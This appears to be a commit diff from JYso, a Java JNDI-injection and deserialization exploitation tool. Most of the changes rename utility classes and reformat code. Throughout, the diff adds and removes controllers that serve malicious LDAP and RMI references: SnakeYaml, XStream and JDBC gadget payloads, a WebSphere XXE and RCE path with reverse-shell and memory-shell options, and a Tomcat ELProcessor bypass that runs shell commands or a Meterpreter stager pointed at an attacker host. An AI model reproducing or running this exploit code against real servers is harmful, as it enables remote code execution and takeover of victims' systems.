cmd11 = Util.getCmdFromBase(base);
cmd11 = Utils.getCmdFromBase(base);
}
if (gadgetType1 == GadgetType.base64Two) {
String encodedString = Util.getCmdFromBase(base);
String encodedString = Utils.getCmdFromBase(base);
byte[] decodedBytes = Base64.getDecoder().decode(encodedString);
String T1 = new String(decodedBytes);
byte[] decodedBytes1 = Base64.getDecoder().decode(T1);
src/main/java/com/qi4l/JYso/controllers/SnakeYamlController.java
+4 -13
View File
@@ -5,7 +5,7 @@ import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
@@ -17,7 +17,6 @@ import javax.naming.StringRefAddr;
@LdapMapping(uri = {"/snakeyaml"})
public class SnakeYamlController implements LdapController {
private String payloadType;
private String[] params;
private GadgetType gadgetType;
@@ -34,31 +33,23 @@ public class SnakeYamlController implements LdapController {
"]";
ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml));
e.addAttribute("javaSerializedData", Util.serialize(ref));
e.addAttribute("javaSerializedData", Utils.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
System.out.println("- JNDI LDAP Local Refenrence Links + SnakeYaml");
System.out.println("- JNDI LDAP Local Reference Links + SnakeYaml");
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
//System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod:" + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) {
if (thirdIndex < 0) thirdIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) {
@@ -67,7 +58,7 @@ public class SnakeYamlController implements LdapController {
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset());
params = new String[]{cmd};
}
src/main/java/com/qi4l/JYso/controllers/WebsphereController.java
-136
View File
@@ -1,136 +0,0 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.PayloadType;
import com.qi4l.JYso.enumtypes.WebsphereActionType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Util;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.util.Properties;
import static org.fusesource.jansi.Ansi.ansi;
/*
* Requires:
* - websphere v6-9 libraries in the classpath
*/
@LdapMapping(uri = {"/websphere"})
public class WebsphereController implements LdapController {
private WebsphereActionType actionType;
private String localJarPath;
private String injectUrl;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Sending LDAP ResourceRef result for |@" + base));
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any
Reference ref;
if (actionType == WebsphereActionType.rce) {
//prepare a payload that leverages arbitrary local classloading in com.ibm.ws.client.applicationclient.ClientJMSFactory
ref = new Reference("ExportObject",
"com.ibm.ws.client.applicationclient.ClientJ2CCFFactory", null);
Properties refProps = new Properties();
refProps.put("com.ibm.ws.client.classpath", localJarPath);
refProps.put("com.ibm.ws.client.classname", "xExportObject");
// ref.add(new com.ibm.websphere.client.factory.jdbc.PropertiesRefAddrropertiesRefAddr("JMSProperties", refProps));
} else {
//prepare payload that exploits XXE in com.ibm.ws.webservices.engine.client.ServiceFactory
ref = new Reference("ExploitObject",
"com.ibm.ws.webservices.engine.client.ServiceFactory", null);
ref.add(new StringRefAddr("WSDL location", injectUrl));
ref.add(new StringRefAddr("service namespace", "xxx"));
ref.add(new StringRefAddr("service local part", "yyy"));
}
e.addAttribute("javaSerializedData", Util.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedActionTypeException {
try {
int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
actionType = WebsphereActionType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA ActionType >> |@" + actionType));
} catch (IllegalArgumentException e) {
throw new UnSupportedActionTypeException("UnSupportedActionType >> " + base.substring(firstIndex + 1, secondIndex));
}
switch (actionType) {
case list:
String file = base.substring(base.lastIndexOf("=") + 1);
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Read File/List Directory >> |@" + file));
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/list.wsdl?file=" + file;
break;
case rce:
String localJarFile = base.substring(base.lastIndexOf("=") + 1);
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Local jar path >> |@" + localJarFile));
localJarPath = localJarFile;
break;
case upload:
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex < 0) thirdIndex = base.length();
PayloadType payloadType;
try {
payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
// webspherebypass 只支持这 4 种类型的 PayloadType
if (payloadType != PayloadType.command && payloadType != PayloadType.dnslog
&& payloadType != PayloadType.reverseshell && payloadType != PayloadType.webspherememshell) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType);
}
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
}
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA PayloadType >> |@" + payloadType));
switch (payloadType) {
case command:
String cmd = Util.getCmdFromBase(base);
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Command >> |@" + cmd));
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=command&cmd=" + cmd;
break;
case dnslog:
String url = base.substring(base.lastIndexOf("/") + 1);
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA URL >> |@" + url));
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=dnslog&url=" + url;
break;
case reverseshell:
String[] results = Util.getIPAndPortFromBase(base);
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA IP >> |@" + results[0]));
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Port >> |@" + results[1]));
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=reverseshell&ip=" + results[0] + "&port=" + results[1];
break;
case webspherememshell:
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=webspherememshell";
break;
}
break;
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
if (e instanceof UnSupportedActionTypeException) throw (UnSupportedActionTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
}
src/main/java/com/qi4l/JYso/controllers/XStreamController.java
+6 -5
View File
@@ -5,7 +5,7 @@ import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
@@ -16,9 +16,10 @@ import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
@LdapMapping(uri = {"/xstream"})
public class XStreamController implements LdapController{
public class XStreamController implements LdapController {
private PayloadType type;
private String[] params;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
Entry e = new Entry(base);
@@ -60,12 +61,12 @@ public class XStreamController implements LdapController{
" </probes>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
" <string>"+ params[0] +"</string>\n" +
" <string>" + params[0] + "</string>\n" +
" </java.util.PriorityQueue>\n" +
"</java.util.PriorityQueue>";
ref.add(new StringRefAddr("forceString", "a=fromXML"));
ref.add(new StringRefAddr("a", xml));
e.addAttribute("javaSerializedData", Util.serialize(ref));
e.addAttribute("javaSerializedData", Utils.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@@ -87,7 +88,7 @@ public class XStreamController implements LdapController{
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + payloadType);
}
String cmd = Util.getCmdFromBase(base);
String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd};
} catch (Exception e) {
src/main/java/com/qi4l/JYso/controllers/jdbcController1.java
+36 -33
View File
@@ -3,48 +3,26 @@ package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi;
import static org.fusesource.jansi.Ansi.ansi;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
@LdapMapping(uri = {"/jdbc1"})
public class jdbcController1 implements LdapController {
private String payloadType;
private static final Logger log = LoggerFactory.getLogger(jdbcController1.class);
private static String payloadType;
private String factoryType;
private String[] params;
private GadgetType gadgetType;
private static String factoryType;
private static String[] params;
private static GadgetType gadgetType;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try {
Entry e = new Entry(base);
String driver = payloadType;
String JDBC_URL = params[0];
e.addAttribute("objectClass","javaNamingReference");
e.addAttribute("javaClassName", "javax.sql.DataSource");
e.addAttribute("javaFactory",factoryType);
e.addAttribute("javaReferenceAddress", "/0/url/"+JDBC_URL,"/1/driverClassName/" + driver,"/2/username/Squirt1e","/3/password/Squirt1e","/4/initialSize/1");
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
er.printStackTrace();
}
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI JDBC Refenrence Links Target < JDK20");
try {
public static void printResultJDBC1(String base) throws Exception {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
@@ -70,7 +48,6 @@ public class jdbcController1 implements LdapController {
int fourthIndex = base.indexOf("/", thirdIndex + 1);
if (fourthIndex != -1) {
if (fourthIndex < 0) fourthIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
} catch (IllegalArgumentException e) {
@@ -79,11 +56,37 @@ public class jdbcController1 implements LdapController {
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
params = new String[]{cmd};
}
}
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try {
Entry e = new Entry(base);
String driver = payloadType;
String JDBC_URL = params[0];
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaClassName", "javax.sql.DataSource");
e.addAttribute("javaFactory", factoryType);
e.addAttribute("javaReferenceAddress", "/0/url/" + JDBC_URL, "/1/driverClassName/" + driver, "/2/username/Squirt1e", "/3/password/Squirt1e", "/4/initialSize/1");
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
log.error(String.valueOf(er));
}
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI JDBC Reference Links Target < JDK20");
try {
printResultJDBC1(base);
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
src/main/java/com/qi4l/JYso/controllers/jdbcController2.java
+49 -49
View File
@@ -3,68 +3,30 @@ package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import javax.naming.RefAddr;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.util.Enumeration;
import static org.fusesource.jansi.Ansi.ansi;
@LdapMapping(uri = {"/jdbc2"})
public class jdbcController2 implements LdapController {
private String payloadType;
private String factoryType;
private String[] params;
private GadgetType gadgetType;
private static final Logger log = LoggerFactory.getLogger(jdbcController2.class);
private static String payloadType;
private static String factoryType;
private static String[] params;
private static GadgetType gadgetType;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try {
Entry e = new Entry(base);
String driver = payloadType;
String JDBC_URL = params[0];
Reference ref = new Reference("javax.sql.DataSource", factoryType, null);
ref.add(new StringRefAddr("driverClassName", driver));
ref.add(new StringRefAddr("url", JDBC_URL));
ref.add(new StringRefAddr("initialSize", "1"));
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaClassName", ref.getClassName());
e.addAttribute("javaFactory", ref.getFactoryClassName());
Enumeration<RefAddr> enumeration = ref.getAll();
int posn = 0;
while (enumeration.hasMoreElements()) {
StringRefAddr addr = (StringRefAddr) enumeration.nextElement();
e.addAttribute("javaReferenceAddress", "#" + posn + "#" + addr.getType() + "#" + addr.getContent());
posn ++;
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
er.printStackTrace();
}
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI JDBC Refenrence Links Target < JDK20");
try {
public static void printResultJDBC2(String base) throws Exception {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
@@ -90,7 +52,6 @@ public class jdbcController2 implements LdapController {
int fourthIndex = base.indexOf("/", thirdIndex + 1);
if (fourthIndex != -1) {
if (fourthIndex < 0) fourthIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
} catch (IllegalArgumentException e) {
@@ -99,11 +60,50 @@ public class jdbcController2 implements LdapController {
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
params = new String[]{cmd};
}
}
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try {
Entry e = new Entry(base);
String driver = payloadType;
String JDBC_URL = params[0];
Reference ref = new Reference("javax.sql.DataSource", factoryType, null);
ref.add(new StringRefAddr("driverClassName", driver));
ref.add(new StringRefAddr("url", JDBC_URL));
ref.add(new StringRefAddr("initialSize", "1"));
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaClassName", ref.getClassName());
e.addAttribute("javaFactory", ref.getFactoryClassName());
Enumeration<RefAddr> enumeration = ref.getAll();
int sn = 0;
while (enumeration.hasMoreElements()) {
StringRefAddr addr = (StringRefAddr) enumeration.nextElement();
e.addAttribute("javaReferenceAddress", "#" + sn + "#" + addr.getType() + "#" + addr.getContent());
sn++;
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
log.error(String.valueOf(er));
}
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI JDBC Reference Links Target < JDK20");
try {
printResultJDBC2(base);
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
src/main/java/com/qi4l/JYso/controllers/ldap2rmiController.java
+1 -4
View File
@@ -11,8 +11,6 @@ import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi;
import java.util.Random;
@LdapMapping(uri = {"/ldap2rmi"})
public class ldap2rmiController implements LdapController {
@@ -40,8 +38,7 @@ public class ldap2rmiController implements LdapController {
base = base.replace('\\', '/');
int index = base.indexOf('/');
if (index != -1) {
String result = base.substring(index);
path = result;
path = base.substring(index);
}
}
}
src/main/java/com/qi4l/JYso/controllers/rmi/Basic.java
-109
View File
@@ -1,109 +0,0 @@
package com.qi4l.JYso.controllers.rmi;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.JYso.template.CommandTemplate;
import com.qi4l.JYso.template.echoStatic.Meterpreter;
import org.fusesource.jansi.Ansi;
import javax.naming.Reference;
import java.net.URL;
import java.util.Base64;
public class Basic {
static String payloadType;
//最后的反斜杠不能少
static String codebase = Config.codeBase;
static String[] params;
static GadgetType gadgetType;
public static Reference basic(String base) throws Exception {
System.out.println("- RMI Remote Refenrence Links ");
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) {
if (thirdIndex < 0) thirdIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd};
}
if (gadgetType == GadgetType.shell) {
String cmd1 = Util.getCmdFromBase(base);
byte[] decodedBytes = Base64.getDecoder().decode(cmd1);
String cmd = new String(decodedBytes);
String[] cmdArray = cmd.split(" ");
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = cmdArray;
}
if (gadgetType == GadgetType.msf) {
String[] results1 = Util.getIPAndPortFromBase(base);
Config.rhost = results1[0];
Config.rport = results1[1];
System.out.println("[+] RemotHost: " + results1[0]);
System.out.println("[+] RemotPort: " + results1[1]);
params = results1;
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params >> " + base);
}
String className = "";
if (payloadType.contains("E-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1));
className = EchoClass.getName();
}
if (payloadType.contains("M-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
InjShell.init(params);
className = Gadgets.createClassB(ClassName1);
}
if (payloadType.contains("command")) {
CommandTemplate commandTemplate = new CommandTemplate(params[0]);
commandTemplate.cache();
className = commandTemplate.getClassName();
}
if (payloadType.contains("msf")) {
className = Meterpreter.class.getName();
}
String className1 = className.replaceAll("\\.", "/");
URL turl = new URL(new URL(codebase), className1 + ".class");
Reference ref = new Reference("Foo", className1, turl.toString());
return ref;
}
}
src/main/java/com/qi4l/JYso/controllers/rmi/ELProcessor.java
-144
View File
@@ -1,144 +0,0 @@
package com.qi4l.JYso.controllers.rmi;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
import java.io.IOException;
import java.lang.reflect.Field;
public class ELProcessor {
static String payloadType;
static String[] params;
static GadgetType gadgetType = null;
public static ResourceRef refTomcatBypass(String base) throws Exception {
// 切割参数
System.out.println("- JNDI RMI Local Refenrence Links ");
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" PaylaodType: " + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) {
if (thirdIndex < 0) thirdIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd};
}
if (gadgetType == GadgetType.shell) {
String cmd1 = Util.getCmdFromBase(base);
byte[] decodedBytes = Util.base64Decode(cmd1);
String cmd = new String(decodedBytes);
String[] cmdArray = cmd.split(" ");
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = cmdArray;
}
if (gadgetType == GadgetType.msf) {
String[] results1 = Util.getIPAndPortFromBase(base);
Config.rhost = results1[0];
Config.rport = results1[1];
System.out.println("[+] RemotHost: " + results1[0]);
System.out.println("[+] RemotPort: " + results1[1]);
params = results1;
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
// 构造ref对象
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
String code = null;
if (payloadType.contains("E-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1));
code = InjShell.injectClass(EchoClass);
}
if (payloadType.contains("M-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
InjShell.init(params);
code = Gadgets.createClassT(ClassName1);
}
if (payloadType.contains("command")) {
code = getExecCode(params[0]);
}
if (payloadType.contains("meterpreter")) {
code = injectMeterpreter();
}
String payloadTemplate = "{" +
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"{replacement}\")" +
"}";
String finalPayload = payloadTemplate.replace("{replacement}", code);
ref.add(new StringRefAddr("x", finalPayload));
return ref;
}
public static String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Class<?> ctClazz = Class.forName("com.qi4l.JYso.template.Meterpreter");
Field WinClassName = ctClazz.getDeclaredField("host");
WinClassName.setAccessible(true);
WinClassName.set(ctClazz, params[0]);
Field WinclassBody = ctClazz.getDeclaredField("port");
WinclassBody.setAccessible(true);
WinclassBody.set(ctClazz, params[1]);
return InjShell.injectClass(ctClazz);
}
public static String getExecCode(String cmd) throws IOException {
String code = "var strs=new Array(3);\n" +
" if(java.io.File.separator.equals('/')){\n" +
" strs[0]='/bin/bash';\n" +
" strs[1]='-c';\n" +
" strs[2]='" + cmd + "';\n" +
" }else{\n" +
" strs[0]='cmd';\n" +
" strs[1]='/C';\n" +
" strs[2]='" + cmd + "';\n" +
" }\n" +
" java.lang.Runtime.getRuntime().exec(strs);";
return code;
}
}
src/main/java/com/qi4l/JYso/controllers/utils/AESUtils.java → src/main/java/com/qi4l/JYso/controllers/utils/JNDIUtils.java
+1 -1
View File
@@ -6,7 +6,7 @@ import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public class AESUtils {
public class JNDIUtils {
private static final String ALGORITHM = "AES";
private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding";
private static final int KEY_SIZE = 16;
src/main/java/com/qi4l/JYso/controllers/ysoserial.java
+11 -11
View File
@@ -13,7 +13,6 @@ import java.io.FileOutputStream;
import java.io.OutputStream;
import java.util.*;
import static com.qi4l.JYso.gadgets.Config.Config.BASE64;
import static com.qi4l.JYso.gadgets.Config.Config.logo;
import static com.qi4l.JYso.gadgets.utils.HexUtils.generatePassword;
import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit;
@@ -115,27 +114,27 @@ public class ysoserial {
Config.IS_Hessian2 = true;
}
if(cmdLine.hasOption("XStream")){
if (cmdLine.hasOption("XStream")) {
Config.IS_Xstream = true;
}
if(cmdLine.hasOption("Kryo")){
if (cmdLine.hasOption("Kryo")) {
Config.IS_Kryo = true;
}
if(cmdLine.hasOption(("JYaml"))){
if (cmdLine.hasOption(("JYaml"))) {
Config.IS_JYAML = true;
}
if(cmdLine.hasOption("JsonIO")){
if (cmdLine.hasOption("JsonIO")) {
Config.IS_JsonIO = true;
}
if(cmdLine.hasOption("YamlBeans")){
if (cmdLine.hasOption("YamlBeans")) {
Config.IS_YamlBeans = true;
}
if(cmdLine.hasOption("Castor")){
if (cmdLine.hasOption("Castor")) {
Config.IS_Castor = true;
}
if(cmdLine.hasOption("Jackson")){
if (cmdLine.hasOption("Jackson")) {
Config.IS_Jackson = true;
}
@@ -192,7 +191,7 @@ public class ysoserial {
} else {
out = System.out;
}
Serializer.qiserialize(object, out,payloadType,command);
Serializer.qiserialize(object, out, payloadType, command);
ObjectPayload.Utils.releasePayload(payload, object);
out.flush();
out.close();
@@ -203,6 +202,7 @@ public class ysoserial {
}
System.exit(0);
}
private static Options getOptions() {
Options options = new Options();
options.addOption("y", "ysoserial", false, "Java deserialization");
@@ -234,8 +234,8 @@ public class ysoserial {
options.addOption("xs", "XStream", false, "Xstream Output");
options.addOption("kryo", "Kryo", false, "Kryo Output");
options.addOption("jy", "JYaml", false, "JYaml Output");
options.addOption("js","JsonIO", false, "JsonIO Output");
options.addOption("yb","YamlBeans", false, "YamlBeans Output");
options.addOption("js", "JsonIO", false, "JsonIO Output");
options.addOption("yb", "YamlBeans", false, "YamlBeans Output");
options.addOption("ca", "Castor", false, "Castor Output");
options.addOption("jk", "Jackson", false, "Jackson Output");
return options;
src/main/java/com/qi4l/JYso/exploit/JBoss.java
+3 -2
View File
@@ -1,10 +1,9 @@
package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.jboss.remoting3.Connection;
import org.jboss.remoting3.*;
import org.jboss.remoting3.Connection;
import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory;
import org.jboss.remoting3.spi.*;
